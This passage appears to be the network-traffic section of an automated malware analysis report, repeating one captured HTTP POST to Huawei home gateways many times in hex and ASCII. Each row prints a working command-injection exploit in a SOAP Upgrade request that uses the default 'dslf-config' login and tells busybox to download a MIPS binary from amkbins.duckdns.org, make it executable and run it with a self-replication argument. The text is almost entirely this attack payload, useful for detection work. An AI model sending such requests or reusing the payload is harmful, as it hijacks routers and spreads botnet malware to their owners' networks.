2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
